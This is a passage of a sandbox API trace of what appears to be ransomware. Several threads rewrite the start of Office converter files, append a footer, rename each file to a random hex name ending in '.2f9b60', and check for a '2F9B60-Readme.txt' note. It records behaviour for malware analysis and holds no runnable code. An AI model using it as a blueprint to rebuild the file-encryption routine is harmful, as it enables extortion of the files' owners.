[0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x14564b12 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x5eb80fb5 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x6c3b4b40 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x3fabe45 [0114.423] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x61a9a381 [0114.424] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x57b19571 [0114.424] RtlRandomEx (in: Seed=0x37f4fab0 | out: Seed=0x37f4fab0) returned 0x52fd7adc [0114.433] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.433] ReadFile (in: hFile=0xeb8, lpBuffer=0x41c35950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37f4fb20, lpOverlapped=0x0 | out: lpBuffer=0x41c35950*, lpNumberOfBytesRead=0x37f4fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0114.448] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0114.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0114.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0114.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c40d80 [0114.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0114.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0114.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635c0) returned 1 [0114.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0114.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0114.449] WriteFile (in: hFile=0xeb8, lpBuffer=0x41c40d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37f4fb20, lpOverlapped=0x0 | out: lpBuffer=0x41c40d80*, lpNumberOfBytesWritten=0x37f4fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0114.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c40d80) returned 1 [0114.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c35950) returned 1 [0114.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262b40 [0114.458] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.458] WriteFile (in: hFile=0xeb8, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x37f4fbd0, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x37f4fbd0*=0x108, lpOverlapped=0x0) returned 1 [0114.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0114.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0114.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0114.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0114.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0xd6360 [0114.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0114.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632f0 [0114.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202632f0) returned 1 [0114.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0114.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0114.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda01b0 [0114.462] sprintf (in: _Dest=0x1cda01b0, _Format="%c%c" | out: _Dest="a8") returned 2 [0114.462] sprintf (in: _Dest=0x1cda01b2, _Format="%c%c" | out: _Dest="9f") returned 2 [0114.462] sprintf (in: _Dest=0x1cda01b4, _Format="%c%c" | out: _Dest="ba") returned 2 [0114.462] sprintf (in: _Dest=0x1cda01b6, _Format="%c%c" | out: _Dest="ab") returned 2 [0114.462] sprintf (in: _Dest=0x1cda01b8, _Format="%c%c" | out: _Dest="f7") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01ba, _Format="%c%c" | out: _Dest="52") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01bc, _Format="%c%c" | out: _Dest="5b") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01be, _Format="%c%c" | out: _Dest="04") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01c0, _Format="%c%c" | out: _Dest="bb") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01c2, _Format="%c%c" | out: _Dest="22") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01c4, _Format="%c%c" | out: _Dest="45") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01c6, _Format="%c%c" | out: _Dest="83") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01c8, _Format="%c%c" | out: _Dest="01") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01ca, _Format="%c%c" | out: _Dest="51") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01cc, _Format="%c%c" | out: _Dest="94") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01ce, _Format="%c%c" | out: _Dest="ea") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01d0, _Format="%c%c" | out: _Dest="28") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01d2, _Format="%c%c" | out: _Dest="a7") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01d4, _Format="%c%c" | out: _Dest="d0") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01d6, _Format="%c%c" | out: _Dest="28") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01d8, _Format="%c%c" | out: _Dest="9b") returned 2 [0114.463] sprintf (in: _Dest=0x1cda01da, _Format="%c%c" | out: _Dest="12") returned 2 [0114.464] RtlInitAnsiString (in: DestinationString=0x37f4fc48, SourceString="a89fbaabf7525b04bb224583015194ea28a7d0289b12" | out: DestinationString="a89fbaabf7525b04bb224583015194ea28a7d0289b12") [0114.464] RtlAnsiStringToUnicodeString (in: DestinationString=0x37f4fc18, SourceString="a89fbaabf7525b04bb224583015194ea28a7d0289b12", AllocateDestinationString=1 | out: DestinationString="a89fbaabf7525b04bb224583015194ea28a7d0289b12") returned 0x0 [0114.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7a3340 [0114.464] wcscat (in: _Dest=0x1b7ad2a0, _Source="a89fbaabf75" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\a89fbaabf75") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\a89fbaabf75" [0114.464] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\a89fbaabf75.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\a89fbaabf75.2f9b60" [0114.464] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\a89fbaabf75.2f9b60", NtPathName=0x37f4fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\a89fbaabf75.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0114.464] NtSetInformationFile (FileHandle=0xeb8, IoStatusBlock=0x37f4fc90, FileInformation=0x20279970, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0114.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0114.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.466] NtQueryInformationFile (in: FileHandle=0xeb8, IoStatusBlock=0x37f4fc58, FileInformation=0x37f4fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x37f4fc58, FileInformation=0x37f4fc68) returned 0x0 [0114.466] NtSetInformationFile (FileHandle=0xeb8, IoStatusBlock=0x37f4fc58, FileInformation=0x37f4fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0114.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 [0114.468] FlushFileBuffers (hFile=0xeb8) returned 1 [0114.476] CloseHandle (hObject=0xeb8) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad2a0 [0114.477] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0114.477] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0114.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0114.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0114.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5b20) returned 1 Thread: id = 1202 os_tid = 0xd3c [0114.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) returned 0x20 [0114.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE", dwFileAttributes=0x20) returned 1 [0114.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1508 [0114.420] GetFileSizeEx (in: hFile=0x1508, lpFileSize=0x37ebfca0 | out: lpFileSize=0x37ebfca0*=31136) returned 1 [0114.421] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x799c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.421] ReadFile (in: hFile=0x1508, lpBuffer=0x37ebfc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37ebfc68, lpOverlapped=0x0 | out: lpBuffer=0x37ebfc20*, lpNumberOfBytesRead=0x37ebfc68*=0x4, lpOverlapped=0x0) returned 1 [0114.434] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0114.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0114.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0114.434] NtQuerySystemTime (in: CurrentTime=0x37ebfb60 | out: CurrentTime=0x37ebfb60*=132462177198934000) returned 0x0 [0114.434] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x385e9ee9 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x1ab2f437 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x1f51c35 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x1d57bc84 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x55837dc5 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x6786e9fd [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x67d19f7 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x5501497e [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x500c3416 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x5dee59c6 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x3abce2ab [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0xafed4b5 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x19cf31e [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x387ecd00 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x25512b97 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x5b5f04b9 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x246fad9b [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x3a9f0f33 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x85da20 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x3664e4cb [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x6e3d7440 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x60e5bd97 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x1d70f67c [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x3d4a8483 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x5f24562c [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x2e35cece [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x415df6e6 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x14c49179 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x3a150b08 [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0xba7d5ed [0114.435] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x1dbeab94 [0114.436] RtlRandomEx (in: Seed=0x37ebfb50 | out: Seed=0x37ebfb50) returned 0x28f92012 [0114.446] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.446] ReadFile (in: hFile=0x1508, lpBuffer=0x41c3d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37ebfbc0, lpOverlapped=0x0 | out: lpBuffer=0x41c3d170*, lpNumberOfBytesRead=0x37ebfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0114.453] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0114.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0114.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0114.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635c0) returned 1 [0114.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c44990 [0114.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0114.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b40 [0114.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b40) returned 1 [0114.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0114.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0114.456] WriteFile (in: hFile=0x1508, lpBuffer=0x41c44990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37ebfbc0, lpOverlapped=0x0 | out: lpBuffer=0x41c44990*, lpNumberOfBytesWritten=0x37ebfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0114.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c44990) returned 1 [0114.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c3d170) returned 1 [0114.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260830 [0114.460] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.460] WriteFile (in: hFile=0x1508, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x37ebfc70, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x37ebfc70*=0x10a, lpOverlapped=0x0) returned 1 [0114.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0114.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0114.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618e0 [0114.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202618e0) returned 1 [0114.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0xd6360 [0114.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618e0 [0114.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0114.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0114.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0114.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0114.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda01b0 [0114.470] sprintf (in: _Dest=0x1cda01b0, _Format="%c%c" | out: _Dest="98") returned 2 [0114.470] sprintf (in: _Dest=0x1cda01b2, _Format="%c%c" | out: _Dest="cf") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01b4, _Format="%c%c" | out: _Dest="65") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01b6, _Format="%c%c" | out: _Dest="d7") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01b8, _Format="%c%c" | out: _Dest="1b") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01ba, _Format="%c%c" | out: _Dest="d2") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01bc, _Format="%c%c" | out: _Dest="0d") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01be, _Format="%c%c" | out: _Dest="22") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01c0, _Format="%c%c" | out: _Dest="31") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01c2, _Format="%c%c" | out: _Dest="5c") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01c4, _Format="%c%c" | out: _Dest="07") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01c6, _Format="%c%c" | out: _Dest="8e") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01c8, _Format="%c%c" | out: _Dest="b1") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01ca, _Format="%c%c" | out: _Dest="d3") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01cc, _Format="%c%c" | out: _Dest="0d") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01ce, _Format="%c%c" | out: _Dest="4e") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01d0, _Format="%c%c" | out: _Dest="8f") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01d2, _Format="%c%c" | out: _Dest="29") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01d4, _Format="%c%c" | out: _Dest="9b") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01d6, _Format="%c%c" | out: _Dest="2a") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01d8, _Format="%c%c" | out: _Dest="57") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01da, _Format="%c%c" | out: _Dest="57") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01dc, _Format="%c%c" | out: _Dest="b4") returned 2 [0114.471] sprintf (in: _Dest=0x1cda01de, _Format="%c%c" | out: _Dest="97") returned 2 [0114.471] RtlInitAnsiString (in: DestinationString=0x37ebfce8, SourceString="98cf65d71bd20d22315c078eb1d30d4e8f299b2a5757b497" | out: DestinationString="98cf65d71bd20d22315c078eb1d30d4e8f299b2a5757b497") [0114.471] RtlAnsiStringToUnicodeString (in: DestinationString=0x37ebfcb8, SourceString="98cf65d71bd20d22315c078eb1d30d4e8f299b2a5757b497", AllocateDestinationString=1 | out: DestinationString="98cf65d71bd20d22315c078eb1d30d4e8f299b2a5757b497") returned 0x0 [0114.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a32d0 [0114.472] wcscat (in: _Dest=0x1b7ad2a0, _Source="98cf65d71bd2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\98cf65d71bd2") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\98cf65d71bd2" [0114.472] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\98cf65d71bd2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\98cf65d71bd2.2f9b60" [0114.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\98cf65d71bd2.2f9b60", NtPathName=0x37ebfc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\98cf65d71bd2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279970 [0114.472] NtSetInformationFile (FileHandle=0x1508, IoStatusBlock=0x37ebfd30, FileInformation=0x20279970, Length=0xac, FileInformationClass=0xa) returned 0x0 [0114.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0114.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.474] NtQueryInformationFile (in: FileHandle=0x1508, IoStatusBlock=0x37ebfcf8, FileInformation=0x37ebfd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x37ebfcf8, FileInformation=0x37ebfd08) returned 0x0 [0114.474] NtSetInformationFile (FileHandle=0x1508, IoStatusBlock=0x37ebfcf8, FileInformation=0x37ebfd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0114.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a32d0) returned 1 [0114.475] FlushFileBuffers (hFile=0x1508) returned 1 [0114.478] CloseHandle (hObject=0x1508) returned 1 [0114.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad2a0 [0114.480] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0114.480] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0114.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0114.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0114.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5a90) returned 1 Thread: id = 1203 os_tid = 0x174 [0114.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 0x20 [0114.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE", dwFileAttributes=0x20) returned 1 [0114.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1508 [0114.483] GetFileSizeEx (in: hFile=0x1508, lpFileSize=0x37d7fc60 | out: lpFileSize=0x37d7fc60*=31120) returned 1 [0114.484] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x798c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.484] ReadFile (in: hFile=0x1508, lpBuffer=0x37d7fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37d7fc28, lpOverlapped=0x0 | out: lpBuffer=0x37d7fbe0*, lpNumberOfBytesRead=0x37d7fc28*=0x4, lpOverlapped=0x0) returned 1 [0114.485] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0114.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0114.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0114.486] NtQuerySystemTime (in: CurrentTime=0x37d7fb20 | out: CurrentTime=0x37d7fb20*=132462177199402000) returned 0x0 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0xa54a141 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x48c801f1 [0114.486] 